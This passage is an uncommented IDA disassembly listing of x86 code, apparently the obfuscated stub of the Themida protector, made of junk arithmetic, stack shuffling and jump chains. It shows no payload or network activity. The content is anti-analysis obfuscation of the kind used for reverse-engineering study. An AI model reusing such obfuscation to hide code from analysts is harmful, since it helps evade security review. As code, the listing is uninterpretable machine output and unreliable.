jmp loc_569B3F
; ---------------------------------------------------------------------------
loc_55FFC2: ; CODE XREF: sub_562ABA-2275j
add edi, 4
push ebx
mov ebx, 4
add edi, ebx
pop ebx
jmp loc_563CF3
; ---------------------------------------------------------------------------
loc_55FFD6: ; CODE XREF: sub_562ABA+32C0j
pop ebx
add ebx, 4
jmp loc_56BF56
; ---------------------------------------------------------------------------
loc_55FFE2: ; CODE XREF: sub_562ABA+366Bj
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_567301
; ---------------------------------------------------------------------------
word_55FFF6 dw 2489h ; CODE XREF: sub_562ABA+6B8Dj
; ---------------------------------------------------------------------------
and al, 50h
mov eax, 4
loc_55FFFF: ; DATA XREF: Themida_:0058033Co
jmp loc_568643
; ---------------------------------------------------------------------------
loc_560004: ; CODE XREF: sub_562ABA+1275j
pop edx
jmp loc_56B831
; ---------------------------------------------------------------------------
loc_56000A: ; CODE XREF: sub_562ABA+4C8Dj
xchg edi, [esp+0]
mov esp, [esp+0]
jmp loc_56A241
; ---------------------------------------------------------------------------
loc_560015: ; CODE XREF: sub_562ABA+A8AAj
pop ebx
add ebx, esi
jmp loc_56BC4E
; ---------------------------------------------------------------------------
loc_56001D: ; CODE XREF: sub_562ABA+7038j
pop esp
sub esp, 4
mov [esp+0], ebx
not dword ptr [esp+0]
push dword ptr [esp+0]
pop ebx
push edx
mov edx, esp
jmp loc_56D17D
; ---------------------------------------------------------------------------
loc_560036: ; CODE XREF: sub_562ABA+6909j
push 2478h
mov [esp+4+var_4], edx
push ebx
mov ebx, 52972A1h
jmp loc_56E32F
; ---------------------------------------------------------------------------
loc_560049: ; CODE XREF: sub_562ABA+C773j
xor ecx, 27D74BFFh
add edx, ecx
pop ecx
add edx, 4
xchg edx, [esp+0]
jmp loc_569FEA
; ---------------------------------------------------------------------------
loc_560060: ; CODE XREF: sub_562ABA+ABA7j
push esp
pop esi
push ecx
mov ecx, 5FCD052Fh
or ecx, 764A1534h
not ecx
jmp loc_56ABD5
; ---------------------------------------------------------------------------
loc_560075: ; CODE XREF: sub_562ABA+8D9Fj
sub edx, esi
sub edx, 7B0B53C5h
mov esi, [esp+0]
jmp loc_56DE91
; ---------------------------------------------------------------------------
loc_560085: ; CODE XREF: sub_562ABA+C592j
add edi, ebp
jmp loc_56FF9F
; ---------------------------------------------------------------------------
loc_56008C: ; CODE XREF: sub_562ABA+CD2Dj
mov edx, 299A2B3Bh
push esi
mov esi, 299A2B37h
jmp loc_55E5F7
; ---------------------------------------------------------------------------
loc_56009C: ; CODE XREF: sub_562ABA+930Dj
add esp, 4
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_5600A7: ; CODE XREF: sub_562ABA-1AB6j
pop eax
sub ebp, 4A43F1Fh
add ebp, edi
jmp loc_5716E4
; ---------------------------------------------------------------------------
loc_5600B5: ; CODE XREF: sub_562ABA+C6B8j
mov edx, 747A69BEh
push eax
mov eax, 53E01584h
push esi
mov esi, 34FC4920h
jmp loc_56DA45
; ---------------------------------------------------------------------------
loc_5600CB: ; CODE XREF: sub_562ABA+AFD7j
sub eax, edi
jmp loc_564A86
; ---------------------------------------------------------------------------
loc_5600D2: ; CODE XREF: sub_562ABA-ED2j
add esp, 4
and eax, 6C56375Eh
and eax, 77AC1A6Bh
inc eax
sub eax, 36E5AFF3h
add esi, eax
mov eax, [esp+0]
add esp, 4
push ebp
push esi
jmp loc_562713
; ---------------------------------------------------------------------------
loc_5600F4: ; CODE XREF: sub_562ABA+FBFDj
mov ebx, 769870C9h
xor ebx, ecx
mov ecx, [esp+0]
jmp loc_56BD0A
; ---------------------------------------------------------------------------
loc_560103: ; CODE XREF: sub_562ABA+FE9Bj
push edx
mov edx, esp
push eax
mov eax, 4
add edx, eax
pop eax
add edx, 4
xchg edx, [esp+4+var_4]
pop esp
add ebx, 5AE919DFh
add ebx, edi
sub ebx, 5AE919DFh
add eax, [ebx]
push dword ptr [esp+0]
pop ebx
jmp loc_564816
; ---------------------------------------------------------------------------
loc_560132: ; CODE XREF: sub_562ABA+75D6j
pop edi
add esp, 4
or edx, eax
shl edx, 1
push 4C1Ah
mov [esp+0], edx
mov edx, esp
jmp loc_570F60
; ---------------------------------------------------------------------------
loc_560149: ; CODE XREF: sub_562ABA-3BF2j
pop esp
jmp loc_567266
; ---------------------------------------------------------------------------
loc_56014F: ; CODE XREF: sub_562ABA+E3A0j
sub edx, ebp
pop ebp
add edx, 0FFFFFFFFh
add edx, 4A3EACC5h
or ecx, edx
jmp loc_56995B
; ---------------------------------------------------------------------------
loc_560165: ; CODE XREF: sub_55FCA5+3j
mov [esp+4+var_4], ebx
jmp loc_568A95
sub_55FCA5 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_56016D: ; CODE XREF: sub_562ABA+2D30j
pop esi
pop ecx
xor ecx, 51E47D27h
pop edx
xor ecx, ebp
xor ebp, ecx
jmp loc_56B204
; END OF FUNCTION CHUNK FOR sub_562ABA
; =============== S U B R O U T I N E =======================================
sub_56017F proc near ; CODE XREF: sub_562ABA+7945j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00562250 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00572A9B SIZE 00000006 BYTES
sub esp, 4
mov [esp+4+var_4], esp
push eax
mov eax, 4
add [esp+8+var_4], eax
pop eax
pop [esp+4+var_4]
jmp loc_562250
sub_56017F endp
; =============== S U B R O U T I N E =======================================
sub_56019B proc near ; CODE XREF: sub_562ABA+9A9Cj
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebp
push dword ptr [esp+4]
mov ebp, [esp+8+var_8]
push ebx
mov ebx, esp
add ebx, 4
push edi
mov edi, 4
add ebx, edi
pop edi
xchg ebx, [esp+0Ch+var_C]
pop esp
pop [esp+8+var_8]
mov esp, [esp+4+var_4]
mov eax, [esp-8+arg_4]
push 6753h
mov [esp-4+arg_0], ebp
push esp
push dword ptr [esp+0]
push [esp+4+var_4]
pop ebp
add esp, 4
jmp loc_56895E
sub_56019B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_5601DA: ; CODE XREF: sub_562ABA+3015j
push 6C88h
mov [esp+6+var_8+2], ebp
mov ebp, 0AC92250h
and edi, ebp
pop ebp
jmp loc_56D792
; ---------------------------------------------------------------------------
loc_5601EF: ; CODE XREF: sub_562ABA-4F3j
pop esp
sub eax, 30FF7E8Fh
sub eax, ebx
jmp loc_568E87
; ---------------------------------------------------------------------------
loc_5601FC: ; CODE XREF: sub_562ABA+7DF4j
sub si, 9AD4h
mov bp, si
pop esi
xor bp, 6
xor si, bp
pop ebp
mov dx, si
jmp loc_5715CA
; ---------------------------------------------------------------------------
loc_560216: ; CODE XREF: sub_562ABA+FEF2j
neg eax
push edx
jmp loc_566BD5
; ---------------------------------------------------------------------------
loc_56021E: ; CODE XREF: sub_562ABA+E524j
add ebx, 4
xchg ebx, [esp-6+arg_0+2]
mov esp, [esp-6+arg_0+2]
push esi
mov esi, 4
add ebp, esi
mov esi, [esp+0]
add esp, 4
push 50F1h
jmp loc_562C1E
; ---------------------------------------------------------------------------
loc_560242: ; CODE XREF: sub_562ABA+15Fj
add esp, 4
jmp loc_56C800
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FCA5
loc_56024A: ; CODE XREF: sub_55FCA5+300j
mov [esp+0], ax
jmp loc_55E09F
; END OF FUNCTION CHUNK FOR sub_55FCA5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_560253: ; CODE XREF: sub_562ABA+7EE2j
sub [esp-6+arg_0+2], 3C552EF8h
jmp loc_56E360
; ---------------------------------------------------------------------------
loc_56025F: ; CODE XREF: sub_562ABA+830Dj
sub ebp, 68850BE1h
sub ebp, 7E2A11CBh
jmp loc_567A22
; ---------------------------------------------------------------------------
loc_560270: ; CODE XREF: sub_562ABA+4D46j
add ch, 1Ch
sub ch, 0FFh
shl ch, 8
xor ch, 3Fh
jmp loc_571534
; ---------------------------------------------------------------------------
loc_560281: ; CODE XREF: sub_562ABA+1604j
push esi
mov esi, 2
jmp loc_56E73B
; ---------------------------------------------------------------------------
loc_56028C: ; CODE XREF: sub_562ABA-12D9j
sub esi, 73B61A53h
jmp loc_571DEF
; ---------------------------------------------------------------------------
loc_560297: ; CODE XREF: sub_562ABA+7FF0j
push 0AF0h
mov [esp+2+var_4+2], edx
sub esp, 4
mov [esp+6+var_8+2], eax
push ecx
mov ecx, 280B7FC7h
sub [esp+0Ah+var_8+2], ecx
pop ecx
push [esp+6+var_8+2]
pop edx
push 117Eh
mov [esp+0Ah+var_C+2], ebx
push esp
jmp loc_564252
; END OF FUNCTION CHUNK FOR sub_562ABA
; =============== S U B R O U T I N E =======================================
sub_5602C2 proc near ; CODE XREF: sub_562ABA+4B1Dj
var_4 = dword ptr -4
sub esp, 4
mov [esp+4+var_4], esi
pop ecx
pop esi
not ecx
shr ecx, 1
sub ecx, 0FFFFFFFFh
xor ecx, 12422AC9h
shl ecx, 4
jmp loc_56D239
sub_5602C2 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_5602DF: ; CODE XREF: sub_562ABA-761j
push 0A2Ch
mov [esp+12h+var_12], eax
mov eax, esi
jmp loc_56EA43
; ---------------------------------------------------------------------------
loc_5602EE: ; CODE XREF: sub_562ABA+4B35j
pop edi
add ebp, 6E196A53h
jmp loc_55EF67
; ---------------------------------------------------------------------------
loc_5602FA: ; CODE XREF: sub_562ABA+5FEFj
mov ebx, [esp+0]
add esp, 4
add edi, 7C472B8Dh
sub edi, eax
sub edi, 7C472B8Dh
jmp loc_56E778
; ---------------------------------------------------------------------------
loc_560313: ; CODE XREF: sub_562ABA+45EAj
mov ebx, 64080A29h
xor ebx, 2F5122B5h
jmp loc_5721B7
; ---------------------------------------------------------------------------
loc_560323: ; CODE XREF: sub_562ABA+DEC1j
add ecx, ebx
sub ecx, 158B700Ch
jmp loc_5619BD
; ---------------------------------------------------------------------------
loc_560330: ; CODE XREF: sub_562ABA+5E0Cj
pop ecx
sub eax, 66CB6707h
add eax, edx
add eax, 66CB6707h
pop edx
add eax, 2B267D11h
add eax, ebx
sub eax, 2B267D11h
sub eax, 65662175h
jmp loc_56B304
; ---------------------------------------------------------------------------
loc_560354: ; CODE XREF: sub_562ABA+86Aj
add edi, esi
add edi, 7EB9621Bh
push [esp+2+var_4+2]
pop esi
add esp, 4
xchg edi, [esp+0]
pop esp
jmp loc_56A6A2
; ---------------------------------------------------------------------------
loc_56036F: ; CODE XREF: sub_562ABA-46B9j
add eax, ecx
pop ecx
sub edx, eax
mov eax, [esp-0Ch+arg_8]
add esp, 4
push edx
add [esp-0Ch+arg_8], 31A074CDh
pop dword ptr [ecx]
jmp loc_570757
; ---------------------------------------------------------------------------
loc_56038C: ; CODE XREF: sub_562ABA-152Dj
add ebp, 1C9105DAh
add ebp, ecx
jmp loc_56627B
; ---------------------------------------------------------------------------
loc_560399: ; CODE XREF: sub_562ABA+276j
push 5D4Fh
mov [esp-0Ch+arg_8], esi
push ecx
push 5A325E37h
pop ecx
xor ecx, 76545AE0h
push ecx
pop esi
pop ecx
not esi
shr esi, 2
add esi, 0CCD68A6h
jmp loc_560F58
; ---------------------------------------------------------------------------
loc_5603C1: ; CODE XREF: sub_562ABA+D31j
xchg ecx, [esp-0Ch+arg_8]
mov esp, [esp-0Ch+arg_8]
mov cx, word ptr [esp-0Ch+arg_8]
sub esp, 4
jmp loc_5697DA
; ---------------------------------------------------------------------------
loc_5603D3: ; CODE XREF: sub_562ABA+CEA4j
push 7B24h
mov [esp-4+arg_0], esi
mov esi, 2
add eax, esi
mov esi, [esp-4+arg_0]
push edx
jmp loc_570BEE
; ---------------------------------------------------------------------------
loc_5603EB: ; CODE XREF: sub_562ABA-374Aj
add esp, 4
jmp loc_5662FB
; ---------------------------------------------------------------------------
loc_5603F6: ; CODE XREF: sub_562ABA+3829j
pop dx
push 6BAEh
mov [esp+8+var_8], ebp
mov ebp, esp
add ebp, 4
jmp loc_56FDF4
; ---------------------------------------------------------------------------
loc_56040D: ; CODE XREF: sub_562ABA+EAEAj
xchg ebp, edi
not ebp
jmp loc_561C0A
; ---------------------------------------------------------------------------
loc_560416: ; CODE XREF: sub_562ABA+FFEBj
mov esi, 3CF7721Dh
mov eax, 0D3BACBD7h
jmp loc_56C6ED
; ---------------------------------------------------------------------------
loc_560425: ; CODE XREF: sub_562ABA+7E07j
mov edi, [esp+8+var_8]
add esp, 4
pop ebx
sub esp, 4
mov [esp+4+var_4], edi
mov edi, 2
jmp loc_561909
; ---------------------------------------------------------------------------
loc_56043F: ; CODE XREF: sub_562ABA+EEADj
not edx
or edx, 42C876DAh
sub edx, 0B480D1C9h
jmp loc_56A6B6
; ---------------------------------------------------------------------------
loc_560452: ; CODE XREF: sub_562ABA+E481j
xor [esp+4+var_4], ebp
xor ebp, [esp+4+var_4]
mov esp, [esp+4+var_4]
bt word ptr [esp+4+var_4], ax
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_560466: ; CODE XREF: sub_562ABA-2EE2j
xchg edi, [esp+0]
mov esp, [esp+0]
add esp, 4
push 393Dh
mov [esp+0], eax
push ebx
push 0E226C47h
pop ebx
push esi
mov esi, 721C4DA9h
or esi, 8DC3AC9h
neg esi
xor esi, 74FE13ACh
add ebx, esi
pop esi
push ebx
pop eax
jmp loc_564BD1
; ---------------------------------------------------------------------------
loc_56049F: ; CODE XREF: sub_562ABA+2986j
mov ecx, 2465115Ch
push edx
push ebx
mov ebx, ecx
mov edx, ebx
mov ebx, [esp+1Ah+var_1A]
add esp, 4
mov ebx, edx
mov edx, [esp+16h+var_16]
push ebp
mov ebp, esp
add ebp, 4
sub esp, 4
mov [esp+1Eh+var_1E], eax
mov eax, 496B1AA3h
push eax
not [esp+22h+var_22]
pop eax
inc eax
jmp loc_570F0D
; ---------------------------------------------------------------------------
loc_5604D7: ; CODE XREF: sub_562ABA+6B3Aj
push 432Ah
mov [esp+22h+var_22], eax
push eax
push esp
mov eax, [esp+2Ah+var_2C+2]
add esp, 4
sub esp, 4
mov [esp+2Ah+var_2C+2], edx
push 4
pop edx
jmp loc_560D48
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FCA5
loc_5604FE: ; CODE XREF: sub_55FCA5+1Bj
pop eax
push ebx
jmp loc_561B5D
; END OF FUNCTION CHUNK FOR sub_55FCA5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_560505: ; CODE XREF: sub_562ABA+686Dj
mov ecx, esp
push ebx
push 4
pop ebx
add ecx, ebx
mov ebx, [esp+0]
add esp, 4
push esi
mov esi, esp
jmp loc_55F529
; ---------------------------------------------------------------------------
loc_560521: ; CODE XREF: sub_562ABA+A604j
pop esp
push esi
mov esi, 1ADB36D4h
xor esi, 6FEF63A3h
push esi
push edx
pop esi
pop edx
not edx
jmp loc_568F3A
; ---------------------------------------------------------------------------
loc_560539: ; CODE XREF: sub_562ABA+68A6j
mov ch, 0F9h
add ch, 0EEh
xor dl, ch
pop ecx
sub al, 2Ch
sub al, 1Ah
add al, 6
add al, dl
sub esp, 4
mov [esp+0], edx
mov dh, 0EEh
not dh
dec dh
shr dh, 2
sub dh, 0FEh
jmp loc_5625A8
; ---------------------------------------------------------------------------
loc_560563: ; CODE XREF: sub_562ABA+720Fj
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_560568: ; CODE XREF: sub_562ABA+9DCCj
push [esp+2Eh+var_2C+2]
mov edx, [esp+32h+var_32]
add esp, 4
pop dword ptr [esp+0]
pop esp
xor eax, [esp+26h+var_28+2]
xor [esp+26h+var_28+2], eax
xor eax, [esp+26h+var_28+2]
jmp loc_55E9B0
; ---------------------------------------------------------------------------
loc_560584: ; CODE XREF: sub_562ABA+E2F0j
push [esp+26h+var_28+2]
pop ebx
add esp, 4
sub esp, 4
jmp loc_563D4B
; ---------------------------------------------------------------------------
loc_560593: ; CODE XREF: sub_562ABA+B996j
sub edx, edi
pop edi
add [esp+22h+var_1E], edx
push [esp+22h+var_22]
pop edx
add esp, 4
mov ebp, [esp+1Eh+var_1E]
jmp loc_566FC7
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push eax
push esp
mov eax, [esp]
add esp, 4
push edi
push ebx
jmp loc_5644B4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_5605CA: ; CODE XREF: sub_562ABA+C969j
add edx, 0BF03B8FBh
add ebp, edx
pop edx
jmp loc_5686F7
; ---------------------------------------------------------------------------
loc_5605D8: ; CODE XREF: sub_562ABA+78E5j
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+1Ah+var_1A]
pop esp
push edx
push edi
mov edi, 46417387h
xchg ebx, edi
not ebx
jmp loc_57266D
; ---------------------------------------------------------------------------
loc_5605F7: ; CODE XREF: sub_562ABA+FA4Ej
or edi, 4EE913F4h
push eax
mov eax, 4C520E17h
shl eax, 3
dec eax
xor eax, 6E152EAFh
jmp loc_5692CD
; ---------------------------------------------------------------------------
loc_560611: ; CODE XREF: sub_562ABA+E21Bj
mov ecx, 5DC2771Bh
jmp loc_55F15C
; ---------------------------------------------------------------------------
loc_56061B: ; CODE XREF: sub_562ABA-20DCj
pop esi
jmp loc_56A7CC
; ---------------------------------------------------------------------------
loc_560621: ; CODE XREF: sub_562ABA+B20Bj
add ebx, esi
add ebx, 1A266E2h
pop esi
add ebx, 2
xchg ebx, [esp+1Ah+var_1A]
mov esp, [esp+1Ah+var_1A]
or word ptr [esp+1Ah+var_1A], ax
pushf
jmp loc_56238C
; ---------------------------------------------------------------------------
loc_56063D: ; CODE XREF: sub_562ABA-478Aj
add esi, 3AE0255h
add esi, ebp
sub esi, 3AE0255h
mov ebp, [esp-0Ah+arg_4+2]
add esp, 4
push 6D81h
mov [esp-0Ah+arg_4+2], ecx
mov ecx, esp
add ecx, 4
push edi
mov edi, 4
sub ecx, edi
pop edi
xchg ecx, [esp-0Ah+arg_4+2]
pop esp
mov [esp-0Eh+arg_8+2], ebp
mov ebp, 1F5E1348h
sub ebp, 0B0E9C11Bh
push ecx
jmp loc_56F8CE
; ---------------------------------------------------------------------------
loc_560682: ; CODE XREF: sub_562ABA-A42j
pop edx
dec ah
neg ah
push dx
push 668Ch
mov [esp-8+arg_4], ecx
jmp loc_572078
; ---------------------------------------------------------------------------
loc_560696: ; CODE XREF: sub_562ABA+FDC0j
sub cl, dh
pop edx
xor cl, 31h
jmp loc_56ED4A
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop eax
jmp loc_56B425
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_5606AD: ; CODE XREF: sub_562ABA+215Cj
mov esp, [esp-0Ch+arg_8]
mov cx, word ptr [esp-0Ch+arg_8]
push ecx
push esp
jmp loc_564EF3
; ---------------------------------------------------------------------------
loc_5606BB: ; CODE XREF: sub_562ABA+FFBj
push ecx
mov ch, 0BCh
and ch, 88h
push dx
jmp loc_56D689
; ---------------------------------------------------------------------------
loc_5606C8: ; CODE XREF: sub_562ABA-568j
sub eax, 6EBE0EC4h
add edx, eax
pop eax
push eax
push ecx
mov ecx, 353A1818h
mov eax, 7053151Dh
xor eax, ecx
pop ecx
shl eax, 8
xchg eax, edi
dec edi
xchg eax, edi
neg eax
shr eax, 2
not eax
xor eax, 0DA43413Bh
add edx, eax
pop eax
xchg edx, [esp+0]
pop esp
push ebp
push 2E143B61h
pop ebp
jmp loc_571027
; ---------------------------------------------------------------------------
loc_560704: ; CODE XREF: sub_562ABA+866Aj
add esp, 4
sub esi, 6235028Ch
mov ecx, [esp-6+arg_0+2]
sub esp, 4
mov [esp+0], ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp+0]
jmp loc_56512C
; ---------------------------------------------------------------------------
loc_560732: ; CODE XREF: sub_562ABA+6FA5j
mov [esp+0], eax
mov eax, esp
jmp loc_56ACA4
; ---------------------------------------------------------------------------
loc_56073C: ; CODE XREF: sub_562ABA+959Cj
mov esi, [esp+0]
jmp loc_563084
; ---------------------------------------------------------------------------
loc_560744: ; CODE XREF: sub_562ABA+E068j
push ebx
jmp loc_565DF4
; ---------------------------------------------------------------------------
loc_56074A: ; CODE XREF: sub_562ABA+84DCj
sub bl, al
add bl, 0FDh
add bl, 0E7h
jmp loc_567CFB
; END OF FUNCTION CHUNK FOR sub_562ABA
; =============== S U B R O U T I N E =======================================
sub_560757 proc near ; CODE XREF: sub_562ABA+7950j
push ebx
jmp loc_563476
sub_560757 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_56075D: ; CODE XREF: sub_562ABA-4462j
xchg edi, edx
add edx, 32B7C69h
sub edi, edx
pop edx
jmp loc_5729C2
; ---------------------------------------------------------------------------
loc_56076D: ; CODE XREF: sub_562ABA+45DDj
push 3E43h
mov [esp+46h+var_46], eax
jmp loc_5705C8
; ---------------------------------------------------------------------------
loc_56077A: ; CODE XREF: sub_562ABA+9363j
xor [esp+46h+var_46], edx
xor edx, [esp+46h+var_46]
pop esp
xor ebx, [esp+42h+var_42]
xor [esp+42h+var_42], ebx
jmp loc_571FCE
; ---------------------------------------------------------------------------
loc_56078C: ; CODE XREF: sub_562ABA+ACE6j
add ah, dh
pop edx
sub ah, bh
sub ah, 0C3h
pop ebx
jmp loc_56BF12
; ---------------------------------------------------------------------------
loc_56079A: ; CODE XREF: sub_562ABA+7395j
add esp, 4
push [esp+36h+var_36]
pop eax
push 4A86h
mov [esp+3Ah+var_3A], ecx
mov ecx, esp
add ecx, 4
push esi
mov esi, 4
add ecx, esi
pop esi
xchg ecx, [esp+3Ah+var_3A]
mov esp, [esp+3Ah+var_3A]
jmp loc_567C82
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56112E
loc_5607C8: ; CODE XREF: sub_56112E+1Dj
push eax
mov eax, 1464518Ah
add edi, eax
pop eax
pop edx
push 4066h
mov [esp+0], esi
push 2
pop esi
add edi, esi
mov esi, [esp+0]
add esp, 4
push 7308h
mov [esp+0], edi
jmp loc_56131C
; END OF FUNCTION CHUNK FOR sub_56112E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_5607F5: ; CODE XREF: sub_562ABA+59B6j
sub ecx, 14DC1BA5h
shr ecx, 5
jmp loc_571BF1
; ---------------------------------------------------------------------------
loc_560803: ; CODE XREF: sub_562ABA-AA4j
sub eax, 5485712Fh
add eax, ecx
add eax, 5485712Fh
add eax, 6773271Ch
mov ecx, [esp+3Ah+var_3A]
add esp, 4
xor ebx, eax
jmp loc_568EC0
; ---------------------------------------------------------------------------
loc_560821: ; CODE XREF: sub_562ABA+36F9j
xchg ebx, edi
shl edi, 5
push 20FDh
jmp loc_56E598
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
lodsb
jmp loc_56E5D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_560836: ; CODE XREF: sub_562ABA+FA26j
push 1AF7h
mov [esp+3Eh+var_3E], edi
push esp
mov edi, [esp+42h+var_42]
add esp, 4
jmp loc_55FFC2
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], esi
push 1B3Ch
push esp
jmp loc_56C22F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_56085F: ; CODE XREF: sub_562ABA+BE8Aj
push 73FBh
mov [esp+42h+var_42], ecx
mov ch, 8Dh
and ch, 24h
inc ch
dec ch
jmp loc_57248C
; ---------------------------------------------------------------------------
loc_560875: ; CODE XREF: sub_562ABA+8EFFj
mov esi, ebx
jmp loc_563B1C
; ---------------------------------------------------------------------------
loc_56087C: ; CODE XREF: sub_562ABA+9023j
mov ebx, esp
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
jmp loc_56F36A
; ---------------------------------------------------------------------------
loc_56088F: ; CODE XREF: sub_562ABA+3D1Fj
xor edi, 893771Ch
not edi
add edi, 513F5C31h
neg edi
sub edi, 61113B94h
jmp loc_571B04
; ---------------------------------------------------------------------------
loc_5608AA: ; CODE XREF: sub_562ABA+A015j
inc ebp
sub ebp, 0F94C0FD4h
mov esi, ebp
pop ebp
push ecx
mov ecx, 3B580CECh
not ecx
dec ecx
not ecx
add ecx, 0D426535Ah
jmp loc_55F93B
; ---------------------------------------------------------------------------
loc_5608CA: ; CODE XREF: sub_562ABA+34E3j
mov ecx, [esp+46h+var_46]
add esp, 4
mov esi, edx
mov edx, [esp+42h+var_42]
jmp loc_560DE2
; ---------------------------------------------------------------------------
loc_5608DD: ; CODE XREF: sub_562ABA+BE72j
mov [esp+42h+var_42], eax
jmp loc_560F95
; ---------------------------------------------------------------------------
loc_5608E5: ; CODE XREF: sub_562ABA+B6B6j
pop ecx
add esp, 4
push 6885h
mov [esp+3Eh+var_3E], esi
mov esi, esp
jmp loc_56F6B7
; ---------------------------------------------------------------------------
loc_5608FB: ; CODE XREF: sub_562ABA+C39Cj
pop ebx
pop [esp+3Ah+var_3A]
pop esp
jmp loc_56A91D
; ---------------------------------------------------------------------------
loc_560905: ; CODE XREF: sub_562ABA+536Dj
shl edi, 7
inc edi
shr edi, 1
add edi, 0B8F7E1AEh
jmp loc_56BEA2
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
mov cx, [esp]
push edi
jmp loc_569D1C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_560920: ; CODE XREF: sub_562ABA+9CFCj
add eax, 4
push 5034h
mov [esp+36h+var_36], ebx
push 2
mov ebx, [esp+3Ah+var_3A]
add esp, 4
add eax, 1B8F46DCh
add eax, ebx
sub eax, 1B8F46DCh
push [esp+36h+var_36]
pop ebx
sub esp, 4
mov [esp+3Ah+var_3A], edx
jmp loc_56EF95
; ---------------------------------------------------------------------------
loc_560956: ; CODE XREF: sub_562ABA+D8EEj
xchg edi, edx
not edi
jmp loc_572022
; ---------------------------------------------------------------------------
loc_56095F: ; CODE XREF: sub_562ABA+CEFAj
push esi
push eax
push 773948DCh
pop eax
add eax, 320CE250h
jmp loc_55EDB5
; ---------------------------------------------------------------------------
loc_560971: ; CODE XREF: sub_562ABA-2124j
add edx, 1F4A5D60h
add edx, 17F47C86h
jmp loc_5707E4
; ---------------------------------------------------------------------------
loc_560982: ; CODE XREF: sub_562ABA-43D5j
pop eax
push edx
push esi
mov esi, 50944023h
shr esi, 5
sub esi, 0A11C7CE6h
mov edx, esi
pop esi
jmp loc_560971
; END OF FUNCTION CHUNK FOR sub_562ABA
; =============== S U B R O U T I N E =======================================
sub_56099B proc near ; CODE XREF: sub_562ABA+B061j
var_4 = dword ptr -4
sub esp, 4
mov [esp+4+var_4], ebp
push esp
jmp loc_5652F2
sub_56099B endp
; ---------------------------------------------------------------------------
lodsd
jmp loc_56FFD3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_5609AD: ; CODE XREF: sub_562ABA+BB55j
mov esp, [esp+22h+var_22]
jmp loc_566748
; ---------------------------------------------------------------------------
loc_5609B5: ; CODE XREF: sub_562ABA-10BFj
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+22h+var_22]
pop esp
push ebx
push esp
jmp loc_56462F
; ---------------------------------------------------------------------------
loc_5609CE: ; CODE XREF: sub_562ABA+1A2Ej
shr eax, 2
jmp loc_55E350
; ---------------------------------------------------------------------------
loc_5609D6: ; CODE XREF: sub_562ABA+C2F4j
push esi
mov esi, 0DF22403h
sub edx, esi
jmp loc_56061B
; ---------------------------------------------------------------------------
loc_5609E3: ; CODE XREF: sub_562ABA+4CD7j
sub edx, esi
pop esi
jmp loc_569D0F
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
push si
push small word ptr [esp+2]
mov si, [esp]
add esp, 2
jmp loc_571F73
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_560A01: ; CODE XREF: sub_562ABA-45FCj
add esp, 4
pop [esp+1Eh+var_1E]
mov esp, [esp+1Ah+var_1A]
jmp loc_566937
; ---------------------------------------------------------------------------
loc_560A0F: ; CODE XREF: sub_562ABA-18C6j
push esi
pop eax
pop esi
pop ebx
push edx
push ebp
push 56111D31h
pop ebp
or ebp, 9222046h
sub ebp, 5F333D53h
jmp loc_570C4C
; ---------------------------------------------------------------------------
loc_560A2C: ; CODE XREF: sub_562ABA+90FBj
mov ebx, 2256463Fh
shr ebx, 5
not ebx
add ebx, 3EC85BBAh
not ebx
xor ebx, 0C24A5673h
mov ebp, ebx
pop ebx
add eax, 363D0BE5h
add eax, ebp
jmp loc_55FE92
; ---------------------------------------------------------------------------
loc_560A53: ; CODE XREF: sub_562ABA+B07Ej
sub ecx, 65813B69h
add ecx, ebx
add ecx, 65813B69h
mov ebx, [esp+16h+var_16]
add esp, 4
push esi
mov esi, 2
jmp loc_56744C
; ---------------------------------------------------------------------------
